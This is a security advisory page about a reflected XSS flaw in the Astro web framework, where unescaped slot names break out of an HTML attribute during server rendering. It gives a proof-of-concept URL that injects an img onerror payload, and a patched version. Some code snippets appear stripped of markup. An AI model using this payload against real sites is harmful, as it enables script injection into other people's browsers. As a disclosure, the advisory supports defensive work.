Astro: Reflected XSS via unescaped slot name
Description
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable
Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`${children[key]}`
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of
Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
**astro.config.mjs** ``js import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], }); ``
**src/pages/index.astro** ``astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- content ``
**src/components/Wrapper.jsx** ``jsx export default function Wrapper() { return null; } ``
Payload: `` abc"><!-- ``
Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
This will render in html.
<!--">content
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`${children[key]}`
---
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
astronpm | < 6.3.3 | 6.3.3 |
Affected products
2Patches
Vulnerability mechanics
References
2News mentions
0No linked articles in our index yet.